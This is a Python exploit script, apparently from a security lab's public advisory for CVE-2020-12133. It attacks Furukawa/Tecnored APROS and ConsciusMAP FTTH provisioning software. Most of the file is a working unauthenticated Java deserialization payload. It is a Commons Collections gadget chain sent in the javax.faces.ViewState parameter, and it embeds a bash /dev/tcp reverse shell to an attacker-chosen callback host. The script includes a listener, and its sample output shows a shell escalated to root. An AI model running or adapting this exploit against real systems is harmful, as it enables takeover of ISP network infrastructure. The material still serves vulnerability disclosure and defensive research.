#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution # # # Vendor: Furukawa Electric Co., Ltd. | Tecnored SA # Product web page: https://www.furukawa.co.jp | https://www.tecnoredsa.com.ar # Affected version: APROS Evolution | 2.8.1 # FURUKAWA | 2.7.10 # ConsciusMAP | 2.6.4 # | 2.3.1 # | 2.1.49 # | 2.1.36 # | 2.1.31 # | 2.1.18 # | 2.1.16 # | 2.1.15 # | 2.1.1 # | 2.0.1174 # | 1.8 # | 1.4.70 # # Summary: Apros Evoluation / Furukawa / ConsciusMap is the Tecnored # provisioning system for FTTH networks. Complete administration of # your entire external FTTH network plant, including from the ONUs # installed in each end customer, to the wiring and junction boxes. # Unify all the management of your FTTH network on a single platform. # Unify all your data, whether from customers, your network, or the # external plant in one place. APROS FTTH allows you to manage your # entire FTTH network in a simple and globalized way with just one # click, without being a network expert. Includes services such as: # bandwidth limitation, Turbo Internet for time plans, BURST Internet, # QinQ for companies, and many more. General consumption graphics and # per customer in real time. Captive Portal for cutting or suspension # of the service. # # Desc: The FTTH provisioning solution suffers from an unauthenticated # remote code execution vulnerability due to an unsafe deserialization # of Java objects (ViewState) triggered via the 'javax.faces.ViewState' # HTTP POST parameter. The deserialization can cause the vulnerable JSF # web application to execute arbitrary Java functions, malicious Java # bytecode, and system shell commands with root privileges. # # =================================================================== # $ ./furukawa.py 172.16.0.1:8080 172.168.0.200 4444 # [*] Setting up valid URL path # [*] Starting callback listener child thread # [*] Starting handler on port 4444 # [*] Sending serialized object # [*] Connection from 172.16.0.1:48446 # [*] You got shell! # tomcat7@zslab:/var/lib/tomcat7$ id # uid=114(tomcat7) gid=124(tomcat7) grupos=124(tomcat7),1003(furukawa) # tomcat7@zslab:/var/lib/tomcat7$ sudo su # id # uid=0(root) gid=0(root) grupos=0(root) # exit # tomcat7@zslab:/var/lib/tomcat7$ exit # *** Connection closed by remote host *** # =================================================================== # # Tested on: Apache Tomcat/7.0.68 # Apache Tomcat/7.0.52 # Apache MyFaces/2.2.1 # Apache MyFaces/2.1.17 # Apache MyFaces/2.0.10 # GNU/Linux 4.4.0-173 # GNU/Linux 4.4.0-137 # GNU/Linux 4.4.0-101 # GNU/Linux 4.4.0-83 # GNU/Linux 3.15.0 # GNU/Linux 3.13.0-32 # PrimeFaces/4.0.RC1 # Apache-Coyote/1.1 # ACC Library 3.1 # Ubuntu 16.04.2 # Ubuntu 14.04.2 # Java/1.8.0_242 # Java/1.8.0_181 # Java/1.8.0_131 # Java/1.7.0_79 # MySQL 5.7.29 # MySQL 5.7.18 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2020-5565 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5565.php # # CVE ID: CVE-2020-12133 # CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12133 # # # 24.02.2020 # import os############# import sys############ import gzip#######o### import zlib########### import socket######### import base64######### import urllib######### import requests####### import telnetlib###### import threading###### import subprocess##### from io import BytesIO from time import sleep from flash import blic class Optics: def __init__(self): self.callback = None# self.headers = None## self.payload = None## self.target = None### self.lport = None#### self.path = None##### self.cmd = None###### def allears(self): telnetus = telnetlib.Telnet() print("[*] Starting handler on port {}".format(self.lport)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) while True: try: s.settimeout(8) s.listen(1) conn, addr = s.accept() print("[*] Connection from {}:{}".format(addr[0], addr[1])) telnetus.sock = conn except socket.timeout as p: print("[!] Probably not vulnerable... ({poraka})".format(poraka=p)) print("[+] Check your port mappings.") s.close() exit(0) break print("[*] You got shell!") # # UnicodeDecodeError dirty fix: # /usr/lib/python3.6/telnetlib.py # Change from 'ascii' to 'utf-8' (Lines: 553 and 556) # telnetus.interact() conn.close() def thricer(self): print("[*] Starting callback listener child thread") konac = threading.Thread(name="ZSL", target=self.allears) konac.start() sleep(1) self.gadget() def gadget(self): self.cmd = "/bin/bash -c /bin/bash${IFS}-i>&/dev/tcp/" self.cmd += self.callback self.cmd += "/" self.cmd += str(self.lport) self.cmd += "<&1" payload = b"\xAC\xED\x00\x05\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C" payload += b"\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03" payload += b"\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x02\x3F\x40\x00\x00\x00\x00\x00" payload += b"\x01\x73\x72\x00\x34\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63" payload += b"\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E" payload += b"\x73\x2E\x6B\x65\x79\x76\x61\x6C\x75\x65\x2E\x54\x69\x65\x64\x4D\x61" payload += b"\x70\x45\x6E\x74\x72\x79\x8A\xAD\xD2\x9B\x39\xC1\x1F\xDB\x02\x00\x02" payload += b"\x4C\x00\x03\x6B\x65\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61" payload += b"\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x03\x6D\x61\x70\x74" payload += b"\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B" payload += b"\x78\x70\x74\x00\x26\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x69\x74\x68" payload += b"\x75\x62\x2E\x63\x6F\x6D\x2F\x6A\x6F\x61\x6F\x6D\x61\x74\x6F\x73\x66" payload += b"\x2F\x6A\x65\x78\x62\x6F\x73\x73\x20\x73\x72\x00\x2A\x6F\x72\x67\x2E" payload += b"\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F" payload += b"\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A" payload += b"\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00" payload += b"\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61" payload += b"\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C" payload += b"\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72" payload += b"\x6D\x65\x72\x3B\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61" payload += b"\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65" payload += b"\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43" payload += b"\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72" payload += b"\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72" payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72" payload += b"\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F" payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73" payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72" payload += b"\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E" payload += b"\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73" payload += b"\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00" payload += b"\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70" payload += b"\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C" payload += b"\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E" payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D" payload += b"\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69" payload += b"\x43\x6F\x6E\x73\x74\x61\x6E\x74\x71\x00\x7E\x00\x03\x78\x70\x76\x72" payload += b"\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69" payload += b"\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72" payload += b"\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D" payload += b"\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66" payload += b"\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72" payload += b"\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38" payload += b"\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A" payload += b"\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C" payload += b"\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C" payload += b"\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B" payload += b"\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12" payload += b"\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73" payload += b"\x3B\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E" payload += b"\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C" payload += b"\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75" payload += b"\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C" payload += b"\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A" payload += b"\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D" payload += b"\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72" payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E" payload += b"\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x78\x70\x76\x71\x00" payload += b"\x7E\x00\x1B\x73\x71\x00\x7E\x00\x13\x75\x71\x00\x7E\x00\x18\x00\x00" payload += b"\x00\x02\x70\x75\x71\x00\x7E\x00\x18\x00\x00\x00\x00\x74\x00\x06\x69" payload += b"\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72" payload += b"\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63" payload += b"\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00" payload += b"\x7E\x00\x18\x73\x71\x00\x7E\x00\x13\x75\x72\x00\x13\x5B\x4C\x6A\x61" payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2" payload += b"\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00" payload += (bytes(chr(len(self.cmd)), "utf-8"))##################################" payload += (bytes(self.cmd, "utf-8"))############################################" payload += b"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x01" payload += b"\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x0F\x73\x72\x00\x11\x6A\x61" payload += b"\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2" payload += b"\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65" payload += b"\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D" payload += b"\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x78\x70\x00" payload += b"\x00\x00\x01\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E" payload += b"\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00" payload += b"\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09" payload += b"\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00" payload += b"\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"#######" jbits = BytesIO() with gzip.GzipFile(fileobj=jbits, mode="wb") as f: f.write(payload) serialize = base64.b64encode(jbits.getvalue()) print("[*] Sending serialized object") self.headers = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=1.pwn", "Content-Type" : "application/x-www-form-urlencoded", "User-Agent" : "ISP-Eye/2.51", "Connection" : "keep-alive"} self.paramz={"javax.faces.ViewState" : serialize} #sleep(1) r = requests.post(self.target + self.path, headers=self.headers, data=self.paramz) def par(self): if len(sys.argv) != 4: self.usage() else: self.target = sys.argv[1] self.callback = sys.argv[2] self.lport = int(sys.argv[3]) if not "http" in self.target: self.target = "http://{}".format(self.target) def check(self): print("[*] Setting up valid URL path") try: r = requests.get(self.target) app = r.text if not "FURUKAWA" in app and not "APROS" in app: print("[!] App not detected.") exit(0) if "FURUKAWA" in app: self.path = "/FURUKAWA/" elif "APROS" in app: self.path = "/APROS/" else: exit(-1337) except Exception as p: print("[!] Somethingz wrong: \n--\n{poraka}".format(poraka=p)) exit(0) def framed(self): naslov = """ o===--------------------------------------===o | | | Furukawa Electric / Tecnored | | APROS Evolution | FURUKAWA | ConsciusMAP | | Fiber-To-The-Home (FTTH) | | | | Java Deserialization Remote Code Execution | | ZSL-2020-5565 | | | o===--------------------------------------===o || || (\__/)|| (•ㅅ•)|| /   づ| """ print(naslov) def usage(self): self.framed() print("Usage: ./furukawa.py ") print("Example: ./furukawa.py 172.16.0.1:8080 172.16.0.200 4444\n") exit(0) def main(self): self.par()########() self.check()######() self.thricer()####() if __name__ == '__main__': Optics().main()